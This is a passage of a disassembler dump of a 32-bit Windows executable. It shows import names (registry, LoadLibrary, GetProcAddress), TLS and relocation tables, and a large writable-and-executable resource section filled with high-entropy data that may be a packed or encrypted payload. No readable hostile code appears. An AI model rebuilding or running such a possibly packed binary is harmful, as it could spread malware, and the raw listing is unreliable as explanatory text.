		dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 74520000h
		dd 776E556Ch, 646E69h, 61520000h, 45657369h, 70656378h
		dd 6E6F6974h, 0
aGetstdhandle	db 'GetStdHandle',0
		align 2
aUser32_dll	db 'user32.dll',0
		align 10h
aGetkeyboardtyp	db 'GetKeyboardType',0
		dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh
		dd 64610041h, 69706176h, 642E3233h, 6C6Ch, 65520000h, 65755167h
		dd 61567972h, 4565756Ch, 4178h,	65520000h, 65704F67h, 79654B6Eh
		dd 417845h, 65520000h, 6F6C4367h, 654B6573h, 656B0079h
		dd 6C656E72h, 642E3233h, 6C6Ch,	6C540000h, 74655373h, 756C6156h
		dd 65h,	47736C54h, 61567465h, 65756Ch, 6F4C0000h, 416C6163h
		dd 636F6C6Ch, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aKernel32_dll_0	db 'kernel32.dll',0
		align 4
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 0
aFreelibrary	db 'FreeLibrary',0
aKernel32_dll_1	db 'kernel32.dll',0
		align 4
aGetprocaddress	db 'GetProcAddress',0
		align 4
_idata		ends

; Section 5. (virtual address 00009000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000008 (	  8.)
; Offset to raw	data for section: 00009000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 409000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 6. (virtual address 0000A000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 0000A000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40A000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 409008h
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata		ends

; Section 7. (virtual address 0000B000)
; Virtual size			: 000004B0 (   1200.)
; Section size in file		: 000004B0 (   1200.)
; Offset to raw	data for section: 0000B000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_reloc		segment	para public 'DATA' use32
		assume cs:_reloc
		;org 40B000h
		dd 1000h, 0E4h,	300A3002h, 301A3012h, 302A3022h, 303A3032h
		dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 308A3082h
		dd 30BE3092h, 30CE30C6h, 30DE30D6h, 30EE30E6h, 310130F6h
		dd 3139312Eh, 320F3208h, 341A33A3h, 34C43466h, 355334DAh
		dd 361135B7h, 36723663h, 373F3692h, 38EE38B2h, 3917390Ch
		dd 392A3922h, 393E3934h, 395E3948h, 39723964h, 39A03987h
		dd 39B439A6h, 39C239BAh, 39E439D4h, 39FF39F3h, 3A123A07h
		dd 3A253A18h, 3A4F3A2Ah, 3A633A59h, 3A773A6Dh, 3A983A8Ah
		dd 3AB43AAEh, 3AC63ABCh, 3AED3AE2h, 3B2A3B12h, 3B973B76h
		dd 3BF23BA1h, 3C583C08h, 3C9C3C78h, 3DF83DE3h, 3E6D3E61h
		dd 3EB33EAAh, 3EC73EBCh, 3ED73ED0h, 3EED3EE6h, 3F683F0Fh
		dd 3FFA3F70h, 2000h, 0F0h, 302B3026h, 30B83030h, 30DD30C2h
		dd 314830E6h, 316B3151h, 319D3191h, 31D831A5h, 321C320Eh
		dd 3268325Fh, 32803278h, 328F3286h, 329B3296h, 32BD32A4h
		dd 32E432C6h, 32F232EAh, 331E3318h, 33483330h, 335C3354h
		dd 338C337Dh, 33BC339Ch, 340B33DBh, 34193413h, 3452341Fh
		dd 34AB3486h, 34C134BBh, 353434C9h, 3542353Ch, 35553548h
		dd 35C4355Bh, 35D435CCh, 35E035DAh, 35EE35E8h, 35FB35F4h
		dd 36C83605h, 371436F6h, 37283720h, 378F3789h, 37C03797h
		dd 381337EBh, 3845382Ch, 386B3856h, 38983878h, 3CA63B11h
		dd 3CF53CE5h, 3D293D0Bh, 3D563D3Fh, 3DA53D6Bh, 3DCE3DBAh
		dd 3DEC3DD6h, 3E123E04h, 3E623E46h, 3E823E6Eh, 3E9F3E8Ch
		dd 3EFC3ECFh, 3F373F05h, 3F753F40h, 3F9E3F7Ch, 3FEBh, 3000h
		dd 110h, 315B3013h, 318A3183h, 31C431A2h, 320031F8h, 323A320Bh
		dd 32AA3252h, 331232C3h, 331C3316h, 33253320h, 3332332Ch
		dd 3345333Ah, 335C3354h, 33933388h, 33BA33B0h, 33E933DFh
		dd 33FB33F3h, 340F3401h, 343F342Ah, 344E3449h, 3473346Eh
		dd 34A93495h, 34CE34B5h, 35213518h, 35493526h, 38033556h
		dd 38DE38CDh, 3925391Eh, 39573939h, 396C3960h, 39C03973h
		dd 3A2B3A09h, 3A3E3A37h, 3A523A48h, 3A7A3A69h, 3A8E3A87h
		dd 3A983A92h, 3AA23A9Ch, 3AAD3AA9h, 3AD03AC7h, 3AE53AD9h
		dd 3B163AEFh, 3B3C3B2Bh, 3B4E3B46h, 3B5E3B56h, 3B8E3B66h
		dd 3BC63BB8h, 3BE43BCBh, 3C053BF4h, 3C223C16h, 3C2C3C27h
		dd 3C3A3C33h, 3C5B3C44h, 3C743C67h, 3C933C86h, 3CAC3C9Fh
		dd 3CC63CBEh, 3CD63CCEh, 3CEF3CE3h, 3D0E3CFCh, 3EBE3E99h
		dd 3EF33EE7h, 3F123F00h, 3F903F44h, 3FAD3F95h, 3FBA3FB5h
		dd 3FD83FCDh, 4000h, 128h, 30063001h, 30D1302Ch, 318F3162h
		dd 31A8319Bh, 31D231BAh, 31E831DAh, 320A31EDh, 322D320Fh
		dd 32503232h, 326B3255h, 32783273h, 3296328Eh, 32B1329Bh
		dd 32BE32B9h, 32DC32D4h, 32F732E1h, 330432FFh, 3322331Ah
		dd 333D3327h, 334A3345h, 33683360h, 3383336Dh, 3390338Bh
		dd 33B133A9h, 33CC33B6h, 33D933D1h, 33F633EFh, 340D3400h
		dd 366C3614h, 36E936B7h, 3778375Ah, 37BF3799h, 381C37D5h
		dd 389A3846h, 38F138C3h, 3935391Fh, 39533947h, 39A33975h
		dd 39BC39AFh, 39D639CEh, 3A0039F2h, 3A223A05h, 3A443A27h
		dd 3A623A49h, 3A6F3A6Ah, 3A893A84h, 3A963A91h, 3AB03AABh
		dd 3ABD3AB8h, 3AD73AD2h, 3AE43ADFh, 3AFE3AF9h, 3B0B3B06h
		dd 3B253B20h, 3B323B2Dh, 3B4C3B47h, 3B593B54h, 3B733B6Eh
		dd 3B803B7Bh, 3B9A3B95h, 3BA73BA2h, 3BC13BBCh, 3BCE3BC9h
		dd 3BE93BE3h, 3BFB3BF1h, 3DE63C0Ch, 3E353E13h, 3EA23E68h
		dd 3EC33EBEh, 3EEC3EE7h, 3FD03F0Bh, 3FF13FECh, 5000h, 80h
		dd 30893014h, 30B730AFh, 30DC30BCh, 31A03148h, 31CF31C8h
		dd 31DE31D7h, 31ED31E6h, 320331F6h, 3252323Fh, 32683264h
		dd 3270326Ch, 32783274h, 3280327Ch, 32883284h, 3290328Ch
		dd 32983294h, 32A4329Ch, 32C932BCh, 32E332DEh, 32FB32F6h
		dd 33123303h, 3333332Eh, 33533347h, 336D3367h, 33863377h
		dd 33A2339Dh, 33B933AFh, 33FC33D8h, 34253415h, 3432h, 6000h
		dd 10h,	30283024h, 30C0302Ch, 0A000h, 14h, 30043000h, 300C3008h
		dd 0
_reloc		ends

; Section 8. (virtual address 0000C000)
; Virtual size			: 00032600 ( 206336.)
; Section size in file		: 00032600 ( 206336.)
; Offset to raw	data for section: 0000C000
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 40C000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4, 10000h, 0Ah, 80000018h, 2	dup(0)
		dd 4, 2, 80000088h, 80000038h, 80000090h, 80000050h, 2 dup(0)
		dd 4, 10000h, 0
		dd 68h,	2 dup(0)
		dd 4, 10000h, 0
		dd 78h,	0C098h,	2B321h,	4E4h, 0
		dd 373BCh, 101h, 4E4h, 0
		dd offset byte_430003
		dd 310046h, 530003h, 540045h, 9F22E570h, 89BC3FE6h, 0AD75E266h
		dd 0B0EDBCA5h, 28931745h, 0E005322Dh, 0DCFC61Eh, 0F97D623Dh
		dd 9C262018h, 5637829h,	855952E8h, 0F61BBA41h, 5A24C170h
		dd 665B7816h, 16D4ACCh,	934933E7h, 0A2C3654Bh, 0C0C86D8Fh
		dd 20C785F6h, 8535FDF2h, 52B64907h, 0C5EBAE04h,	0A3AB9D24h
		dd 0B7B56F50h, 621E54EEh, 4B000EB7h, 0CC578953h, 3BD9900h
		dd 14D33B60h, 0E3019F9Eh, 42BB7CAAh, 6635CEE6h,	811A6230h
		dd 4E809177h, 2E14BA19h, 0DCEDCCCAh, 0B778F1F1h, 1F9C629Bh
		dd 0B13D8F14h, 57BA1556h, 65EEF62Ch, 5F3F9A0Eh,	8CA0A190h
		dd 0C3441C83h, 3149CF52h, 0E9AB74E9h, 259E8237h, 0D22CE555h
		dd 561A47D8h, 0D948EAA6h, 28C02846h, 4A9625EAh,	0E8111387h
		dd 75DD1FE5h, 7C94BD6Fh, 0CB4C49A3h, 7855AFD3h,	32E10EE3h
		dd 99CF3E0h, 75615290h,	8AD7EA3Eh, 52A21A87h, 264F3DBDh
		dd 77350FFh, 0CE71DF93h, 5B092E89h, 0D7E42363h,	484A32AFh
		dd 853DE98Fh, 8B144F04h, 969D651Fh, 0F46CB2Ah, 2F4E726Dh
		dd 0A963764Ch, 0AEF63C27h, 0D696D545h, 9BB9E7F0h, 8CF027AFh
		dd 0EA2E1CBAh, 573DE2ACh, 0BE8CFCCBh, 5A0EE2EDh, 6FA99F24h
		dd 5EA46272h, 0E1F1D818h, 0F0854C3Ah, 4E4506EEh, 1837E86Ah
		dd 7C778285h, 0C46F391Ch, 0D08EA551h, 96B2A325h, 349741DEh
		dd 9235D751h, 46664A77h, 614F1258h, 0BEA41C0Ch,	0F5B181A3h
		dd 0DC8ABE95h, 0D2EDD571h, 135B3232h, 395CFBC0h, 0DE720AD4h
		dd 85EE2537h, 130EB644h, 0E1E6D5E4h, 0A1059767h, 6ABB7B1Fh
		dd 0AF25705Dh, 2D21F0Dh, 8835C8D1h, 1EFCFE23h, 373DFFA5h
		dd 732B38EEh, 4FF65422h, 4F57FEAFh, 5184DE02h, 0C8B67C18h
		dd 7D68E46Dh, 2EEA90A5h, 3790019Bh, 614FCA6h, 0E040A6B5h
		dd 0C3B0C685h, 149051D5h, 0B5AC6CB5h, 0D5C91F2Eh, 0F8DF8C73h
		dd 0F9977CA0h, 0C078A4E3h, 0E6CEC7D9h, 2949A4FEh, 0BDB1EDD9h
		dd 0C862F8E1h, 0BB7F31F8h, 0CAAA60E6h, 0E103FCB5h, 65A26AA1h
		dd 651206A5h, 0AD230D4Fh, 0FDC7B94Bh, 77EA7FA7h, 56C781h
		dd 0B69412CCh, 0D2A98B1Fh, 70618FC3h, 3F943D49h, 35E49D3Bh
		dd 0D9CD6D0Ah, 0E0C416E9h, 98AE2Bh, 0A21B3C33h,	0EFB5FBF8h
		dd 0E4EEB814h, 0A09039Ah, 718BEFBBh, 2F32929Bh,	2268FF2Fh
		dd 6EFC7752h, 6B2B6EDCh, 351738C8h, 9EAEE105h, 0E350A25Dh
		dd 58822666h, 849EAC8Dh, 6563EFC5h, 0E2A436BEh,	0EE441017h
		dd 2D8BE822h, 3A87D9C4h, 0FF51B48Ch, 0B0401513h, 5754E787h
		dd 0BC033EFFh, 75B27C1Dh, 7C53AC38h, 27C32987h,	9444E71Eh
		dd 9BC9BB5Ah, 9289710Fh, 0DC149572h, 4DEA11F3h,	616C9308h
		dd 39B73BFAh, 614B248h,	0DFA1257Ah, 0F4E5DE25h,	0F5E3F469h
		dd 0FAD97A9Ah, 0FE511B7Dh, 1925CBF0h, 0FA5B8E98h, 634C6F89h
		dd 9C2FF516h, 76E24B9Fh, 0BE8A9DC8h, 9C75B024h,	0A7FFB3E2h
		dd 0F5042D47h, 6ADAB248h, 6D146365h, 87211546h,	34C1EA6Bh
		dd 26D788E9h, 42985A30h, 4A286697h, 68222280h, 72890519h
		dd 2C4AD7C2h, 6B81067h,	0C0629D4Ah, 8D748521h, 2234F07Bh
		dd 807C6993h, 196A12F9h, 3D2499Eh, 69A8D059h, 16EB99ECh
		dd 9E4EB51Dh, 866E554Eh, 7707C27Ch, 2BC93B7Ch, 466C8AE7h
		dd 4CD8040Ch, 0B4BCA360h, 0BEAE365Ch, 3A4E8E5Eh, 611DAB20h
		dd 6BB8913Fh, 72BCA7C5h, 6249C05Fh, 0C1BA17EEh,	0EE0268C0h
		dd 41D2CEE9h, 5823E455h, 198B6D7Fh, 34836D00h, 7C2D3042h
		dd 0E82B0C7Bh, 5960510Fh, 0EDD33A99h, 0F69A104Ch, 2A988597h
		dd 0E361D073h, 8306906Bh, 0A469816Eh, 81B67C06h, 65D35353h
		dd 0A6EB5B65h, 4E3EFA4Bh, 39E3CE16h, 0AA374545h, 0B81B14D1h
		dd 24787958h, 0E66B0DF6h, 67D039B8h, 0E63FC6B8h, 40513BADh
		dd 4FFB6297h, 2AD2BD7Eh, 3969F98Ah, 0A8865A6Fh,	6433F46Dh
		dd 0B8AB8922h, 0C10B69A3h, 0DFD03D41h, 0C2B5D067h, 6736537Bh
		dd 3A0F9BA0h, 0BDC05B1h, 1240A67Eh, 120C0E9Ah, 6CF9EC2Fh
		dd 76809A9Eh, 2E551C3Bh, 0FE1CCA71h, 0ADCB8A12h, 950B69C6h
		dd 0CB3443Bh, 3EA9372Fh, 2F8DB5F7h, 0D7A376FBh,	55A2E50Dh
		dd 3BA89CAEh, 5C71A80Ch, 0AEBE9CD7h, 3102A801h,	0D0D1D0A2h
		dd 0E6BBF207h, 6FE96AE8h, 2A9AB948h, 76A5A1D9h,	6F3EA32Bh
		dd 0B6BAACF7h, 1BFC9142h, 6F06DBDFh, 0DA1CBED1h, 80A475BCh
		dd 0B1D00D3Ch, 0EB4FDFCBh, 0D000ACB4h, 84406DCh, 897B645Bh
		dd 12D6B66Dh, 8CBDCDF6h, 0DE7E61BBh, 0B1437E1Fh, 19FEF874h
		dd 6C9C5584h, 15EA99FBh, 4FE8B6EAh, 0F4917174h,	7AF6F07h
		dd 0E5C01DFDh, 4FCCC38Ah, 0AEF3DBD8h, 10CCD20Dh, 420195E6h
		dd 583E3C9h, 5B193C98h,	2473BF1Ah, 0D896DAFh, 5B71C853h
		dd 0C8BCAE3Ah, 0AD2572E3h, 24A901DFh, 3BD72EF9h, 0E731D7EFh
		dd 0DD810265h, 411D679Fh, 978F87A7h, 277BE49Ah,	0F0AD7C9Eh
		dd 0D2A68741h, 280F0DB9h, 88DB80B6h, 5B138F32h,	0F24B162Eh
		dd 39BD6029h, 52CB4317h, 929BFB64h, 0AE2FE438h,	45935D39h
		dd 26FF708Ch, 25D3884h,	0BB7419F6h, 0CE634B43h,	0D9B3E42Ch
		dd 104A453Ch, 0CFE576F4h, 9B834FFAh, 0B593E799h, 9843187Dh
		dd 1B12343Ah, 0A5D6F744h, 680AA805h, 70F9D14h, 0EE92684Bh
		dd 3C2E819Bh, 0A272B089h, 0A423D29Dh, 1C5F1B13h, 0CE2F15B2h
		dd 0EB5D8CE2h, 0F69A2A86h, 0E322F016h, 1E4C9C71h, 0B82757CCh
		dd 0B4C76805h, 8109FD3h, 9D99B30Ch, 232CA060h, 3EF2876Ch
		dd 252EDFEEh, 0B5EE6A3Bh, 7A38287Dh, 48A88A23h,	74B64DECh
		dd 68EBD2F4h, 9D739CC0h, 6DF83748h, 0FE62183Ah,	0AAB374D8h
		dd 92319481h, 0F027F3ADh, 0D9AAEA4Dh, 0EBE290C7h, 17712B24h
		dd 5E6FD2CCh, 0B786997Bh, 3AB15814h, 907D0E51h,	8E577BE6h
		dd 5B1B3F75h, 0F09DF96Ch, 5537B0EBh, 2E765054h,	8DBCE467h
		dd 410A0A7Dh, 0E5E9577Dh, 8B803982h, 12865455h,	2825AAAh
		dd 0F0FACD1Ch, 2A19B1E1h, 6305BA8h, 7D44CC40h, 5D006B42h
		dd 7858D93h, 307A406Bh,	25C66197h, 0A89EBCEAh, 0AA4714DAh
		dd 1B5CD06Fh, 8D619A1Ch, 3CB3BDDFh, 31E58F88h, 6A9E62E2h
		dd 0C17F3DCEh, 4FB09C48h, 899587DEh, 42403702h,	881DC7ACh
		dd 0D5F2603h, 23F27E60h, 0DAB8F81Ah, 0B6BAD5E8h, 43A5FB06h
		dd 4DCC390Dh, 9FB8ACA6h, 2D50F207h, 35EA7D0Bh, 0F2471E18h
		dd 0B1528FABh, 0DD635C4Ah, 0C38AE2EEh, 795393CFh, 2EBCAE8h
		dd 0A04ED0ACh, 314241A0h, 67CC8E52h, 21AB767Eh,	0EC2CFC99h
		dd 0FF7DCDE8h, 7FEB34F3h, 56EFAEA5h, 80798539h,	61182931h
		dd 2EB17790h, 0B5BA8921h, 62415F5Eh, 298B1BE7h,	0D2F80C6Ah
		dd 5E5C9768h, 8A35C246h, 48E56FB9h, 5D5B6889h, 60B919B2h
		dd 8CF36EA4h, 5C6F1BDDh, 0CE9CFF9h, 1B687CC8h, 3C7FEA37h
		dd 0CFA0E448h, 9896105Dh, 0B74500F6h, 0B2BB48B6h, 0EE30A87Ah
		dd 0CC6C5908h, 0B84F2530h, 307861A2h, 96E41D98h, 0A52897C2h
		dd 6DC77703h, 0E77EFF8h, 0ED58F22Ah, 0CDA000E3h, 0F22D7529h
		dd 0D7408657h, 8FD16BB2h, 1FB6520h, 0DA62142Bh,	0E5BCE8A3h
		dd 72E09B5Fh, 7B05E19Ch, 0CBBBF869h, 1C4740CCh,	101894C1h
		dd 0F0693B0h, 0A62B1A2Ah, 73CA5872h, 4CD28E7Bh,	0A2A0FDA2h
		dd 1CCBB0F6h, 0EED57FF8h, 0C969C2A5h, 76441CA5h, 0A4D768F5h
		dd 0BA74297Ah, 8D337DE7h, 0D8A4CBEh, 0AE1544E6h, 19E952E5h
		dd 9472CDEBh, 5CBD0CA7h, 723A1AC5h, 95DABE2Dh, 0C422EA50h
		dd 5EE3C089h
		dd 64299380h, 0B779B93Fh, 0E9BDC6D3h, 4DE8308Dh, 6898AB75h
		dd 0CE617D1Fh, 0AA76666Ch, 9D20C63Ch, 0F3E3C662h, 797A015Eh
		dd 85B4EF9Ah, 3B927F84h, 61585A68h, 126E98CAh, 0D9617B7h
		dd 4F40796Ah, 0C4819A4Bh, 0B98CC343h, 0DD849338h, 88E2E381h
		dd 2F4B7ACAh, 940223DDh, 63493A40h, 0C092DC46h,	9AE3F2DCh
		dd 140E24C4h, 980AD813h, 9C01EA6Eh, 3A6CE39Fh, 0AFBCCC76h
		dd 2B2428CBh, 0D7233108h, 0A2996E65h, 1A4C03A9h, 6535BF76h
		dd 0C747ABD0h, 1AAA512h, 0A8DE96E5h, 40665BA5h,	0FEF62B6h
		dd 49C19348h, 351E5657h, 319B3907h, 51901014h, 0A408814Dh
		dd 23E5622Dh, 8F41FE95h, 7FB09182h, 0FD1CE4D9h,	74F0BC94h
		dd 29D976FAh, 943CA650h, 4C076BC0h, 0E7DA4B98h,	80D3E90Bh
		dd 9BDC2F26h, 47916154h, 631C610Eh, 53AA0D7Fh, 83C9DA7Fh
		dd 0A33546Dh, 0D2A15EE1h, 78F942ECh, 0FA1FD799h, 467540EEh
		dd 0AD987114h, 0DACD9705h, 9C5F1314h, 76EAD6C5h, 46F26AD3h
		dd 0FC4DECDAh, 0EC32211Fh, 651C3F46h, 8146B624h, 1CA9D2A7h
		dd 1CB1B9EDh, 0C9CC4E1Ch, 9FB83645h, 0C2BF4BAh,	0D98B2425h
		dd 0FA0E52E7h, 0CA573CA6h, 27B31683h, 0E478A084h, 304884A8h
		dd 4230BDFh, 6A7DFD2h, 2108CEAAh, 0AB3C547h, 99B91BDBh
		dd 89CF2E53h, 5286CE65h, 0DE03D6A1h, 0F2CF95A9h, 0C631C9E2h
		dd 0FC263E4Fh, 5DDAE5ECh, 0EE49AB7Dh, 29E011C1h, 0F804B974h
		dd 0B063C11Eh, 1482C52Fh, 9457D8F2h, 0DB4E59h, 3994A232h
		dd 86A9942Ah, 0A44C3374h, 23584D19h, 6D4AB5B9h,	3C5FA5E7h
		dd 6796E568h, 1449C880h, 543586B1h, 7AA5E74Ah, 0B93AD35Bh
		dd 209D8783h, 83A82EF4h, 0E56FDFA1h, 1E37E0FFh,	892FC4F1h
		dd 108D007Bh, 0CC215E88h, 951A825Ah, 0B71C565Eh, 3BAD4365h
		dd 0B44A5545h, 3730CC4Fh, 0B40443D0h, 0AB4DE64Ch, 1F32500Ah
		dd 176F3FA3h, 0CAC94C3Ah, 9C5443BFh, 3660AC49h,	0D6DAAD95h
		dd 0B1F95083h, 0F9171B9Dh, 3FA1874Dh, 303A369h,	7EEAB534h
		dd 77109AFDh, 0F5FF4DEFh, 26D651C6h, 0CEDDFA63h, 0F58AFD5Ah
		dd 74420227h, 184AE01Eh, 2D8A5877h, 3DA5F1FEh, 2DC6E695h
		dd 179D235Fh, 0F1BCA119h, 975539EEh, 6219ADEEh,	0E92ACB40h
		dd 0D48B5322h, 0B51D2F1Fh, 0B1C6A5C6h, 115D32A9h, 0D974ECB4h
		dd 1BC5D76Bh, 6460D4A2h, 38A8CDAEh, 0F4F777FFh,	16E7D5FCh
		dd 3C8CE321h, 9A16A5D6h, 4891D992h, 70490D92h, 0DEE95F62h
		dd 3DF6DC06h, 373DCAB4h, 5B846D8Ch, 0FDA22283h,	14571365h
		dd 0B11458Dh, 0FD21C0E7h, 2216A4D4h, 3625B975h,	0DDEAE192h
		dd 0DD5A1A21h, 0D792DBEh, 0D4D7EDFBh, 0D97F61CBh, 0D3F9FD61h
		dd 0EF788A29h, 0D9610D42h, 0A8DD58A4h, 32CBA403h, 47B3C0D5h
		dd 47AC5F2Ch, 50F9EAB9h, 0B5DC1A0Ch, 31E4BA7Ah,	0B1E6718Ah
		dd 77E5E145h, 8CBA0A3h,	0CEA570C4h, 36C5EDE3h, 0C82FB81Fh
		dd 8C847C73h, 0C12E1830h, 37B15627h, 879F4A5h, 51F418D4h
		dd 0A1D3C31Ch, 4FEF5A72h, 0ADE3BCEDh, 18B3B2BFh, 4D9EB084h
		dd 3F1744Eh, 0F6C0413Ah, 0D0B00F6h, 0F852D0C6h,	0F74C881Ah
		dd 0BF4362EDh, 0C7CCBD0Eh, 0EF8E163Fh, 6224726Dh, 5A0C4EDh
		dd 343EAF50h, 5099C3BFh, 7A8BFC47h, 92BDCA65h, 3976F00Bh
		dd 2277B854h, 0B49FEBB9h, 0CAF1BD14h, 0DE854E55h, 0C9F70B8Eh
		dd 13EBCEFCh, 2C9753D5h, 1F09838h, 3565D85Bh, 0D24AB9CAh
		dd 0D04E6DBEh, 4374DB72h, 296BB38Dh, 626A2469h,	0B9A889D4h
		dd 43987CC2h, 5FFD0079h, 1F1AC4Ah, 0B243826Eh, 0E3056DDDh
		dd 67366937h, 2A4C1D9h,	80EED222h, 0E0956043h, 0DA74A6DDh
		dd 96A0B6CDh, 291E22F5h, 0AB7E928Dh, 4BEE0689h,	3EE3A3B8h
		dd 642C1EC1h, 0CFEB1CC0h, 5D33B51Dh, 0ECC18200h, 1C536355h
		dd 2378563Ch, 2931C0FDh, 0BD9B8F61h, 95624589h,	0B14DB842h
		dd 8BF24BCEh, 0D8A59F63h, 0A6409FBBh, 195DF559h, 83770CBEh
		dd 0E7A6E7EDh, 22D18FABh, 2ACA135Fh, 0B68BBF47h, 0C48366C6h
		dd 0A7A30E99h, 0BCC6AC2Bh, 0E7E11D52h, 381ECCF3h, 4A303298h
		dd 89B5273h, 1E241DFBh,	4025A8ABh, 0BF903E9Ch, 0C59C0203h
		dd 4CBEE8BEh, 0E8E88BB1h, 0FBC4149Eh, 6AA45608h, 3FDE2AFh
		dd 0CE81A03Ah, 0DDB2BD76h, 2863767Fh, 0A0709A6h, 1F77D1A3h
		dd 3C7F8043h, 9A1D0F83h, 0FC473B17h, 880E02ECh,	6F047F68h
		dd 0D159F3A7h, 36333B14h, 9C17DDA5h, 662598FBh,	0DF16C9F7h
		dd 20C45155h, 0EA508A1Dh, 0C4024DB3h, 0F3A97056h, 4F2B4CE8h
		dd 0AC42EFEEh, 75EC3406h, 4D36A4F8h, 0F70AB6EEh, 0BDB531C8h
		dd 61342DE1h, 90DD4A8Fh, 2C6E39DDh, 81B6AA28h, 28ED2F0Bh
		dd 76DA27B9h, 81F65112h, 25C088CCh, 0E57C80C7h,	2DD1D7E2h
		dd 1C16FC2Eh, 510F028Ch, 0C5E8D636h, 0D887BCEFh, 0AC04D57Bh
		dd 90BBD792h, 0C7AA2D2Bh, 72A40CEh, 0D2AE88E3h,	0EDBB55AEh
		dd 0F6FDB4C2h, 74F2C7C0h, 0F844DFD1h, 87F4FB6Bh, 1DA89507h
		dd 56FA234Eh, 46FB1211h, 8CC08A2Bh, 99EBAD24h, 0F98CDE5Ah
		dd 4D1EB873h, 6F95E4C5h, 0A53AE89Ah, 6BD5F16Bh,	7FF78972h
		dd 0E41D0B48h, 72D94D6Eh, 3A23CE76h, 214A0B26h,	1A51B1C6h
		dd 0A5A60EDDh, 0EADB161Ah, 0A8E55255h, 2484B907h, 9CB22BE8h
		dd 80F28A7Ch, 2E49D3EAh, 0D6A5E1C3h, 2A981946h,	5F36676Fh
		dd 3E0C38Ch, 0F9BC6E3Fh, 2B33DAF4h, 83A7F109h, 48DA3099h
		dd 0D8FDCBE1h, 57A913F5h, 0AAEB9D87h, 61342DBAh, 78C6DB52h
		dd 4D55DA20h, 91AEA69Ch, 711BBC45h, 7AFCE6D3h, 7B37A979h
		dd 0F94DB6B8h, 0D71B0CD4h, 16F9BDADh, 0D7796DB8h, 23032B1h
		dd 81C5E2BFh, 0DF48CE49h, 9193A3C5h, 0D631209Eh, 0EF5799A2h
		dd 0AE61186Eh, 0A44686C4h, 4A802806h, 756FF90Dh, 0AAA7FD3Fh
		dd 0CDF6A0A3h, 21AD29A8h, 0B9CFB7F4h, 7D792541h, 0E0AD6D85h
		dd 5A0FAAD1h, 0EBE77DACh, 0BD42E332h, 0B0D2F2AEh, 92D38767h
		dd 2A233AACh, 0A129127Ah, 6E7B418Bh, 0A328386Bh, 4F7B1B5Dh
		dd 30824793h, 4172D460h, 0F92CC190h, 0A4E8B7B3h, 9BD84349h
		dd 0F52C8143h, 782E1FFAh, 38E419FFh, 811F6867h,	0FEEACB8Bh
		dd 0C7DF882Fh, 0B9F3D4F7h, 4B8F4DF7h, 0AB37396Dh, 31652977h
		dd 0BAA4D918h, 1C6199Bh, 8499109Eh, 891B83AAh, 83680417h
		dd 0CD26DAAEh, 520B4F41h, 0CF447906h, 4832F862h, 196FECF5h
		dd 597B9BF9h, 17D245D9h, 0CC1699F6h, 0F51E6102h, 35014BFDh
		dd 7D50235Ch, 0E8F51F44h, 4381B5E2h, 68ECE3EFh,	1CE1BDBBh
		dd 9E14FF13h, 36A1E39Dh, 29E87C07h, 0C406A27Ah,	0ED7B9936h
		dd 0BE6FD1D1h, 1E87E08h, 0BABDA902h, 7F0A4127h,	1C48B59Ah
		dd 0E76CEFCEh, 0F5E8AC2Bh, 4091E3FDh, 2408A82Ch, 8614AEAh
		dd 0F146D17h, 53AB5F0h,	4139726Eh, 0A6C26879h, 2F6699BFh
		dd 7ADF2413h, 2420DBB2h, 3A595559h, 26E68968h, 0EED4F2ABh
		dd 0D9C9B843h, 0D5F2760Fh, 412115B3h, 2700D458h, 8AAB38C9h
		dd 0B76B63E7h, 637C8BBEh, 52401E2Ch, 0EF5093CCh, 0FBBD4A9Ch
		dd 0E50FF9B8h, 2086BB89h, 41AA078Dh, 73D776B7h,	6E1777ADh
		dd 695A3EA9h, 6F3F0D29h, 0F704750h, 0F61956E8h,	22B2955Fh
		dd 150B77B8h, 261F24F1h, 0E535BA85h, 657C92BBh,	0C0A65B2h
		dd 9B44A93Eh, 6874FA20h, 15F25131h, 9D7BA798h, 0A66F1D3Bh
		dd 81026A6h, 0EFD94D42h, 6D747A79h, 246019C5h, 5A688143h
		dd 6545ED1Ah, 6468961Bh, 0ECE4A927h, 5A0EAAFDh,	4ADAC831h
		dd 7D54198h, 0EAE751C3h
		dd 1D92B1EDh, 0E01B4BFh, 99667417h, 48F3F902h, 6C3F30E2h
		dd 0E017CB8Bh, 0A9D275Bh, 3BBF1CB8h, 7994A05h, 0E260AEAFh
		dd 9A6B6D1Dh, 7DCCAFA7h, 1A8468CDh, 8954EBD1h, 6C3C8C2Ah
		dd 964E734h, 1BD3CD7Fh,	0F9DBB1A3h, 86FC99DBh, 9F3F3480h
		dd 4D031617h, 0A32DBB9Fh, 0C4D038E0h, 41D14817h, 3E8B999Ah
		dd 0BABA1D7Bh, 1C6EA02Bh, 4EDA83B0h, 761DFF64h,	8D1A3D2Ch
		dd 0A504A4B9h, 74E7AC5Bh, 0E0C7AE39h, 0F64D299Ch, 0FDED3BA4h
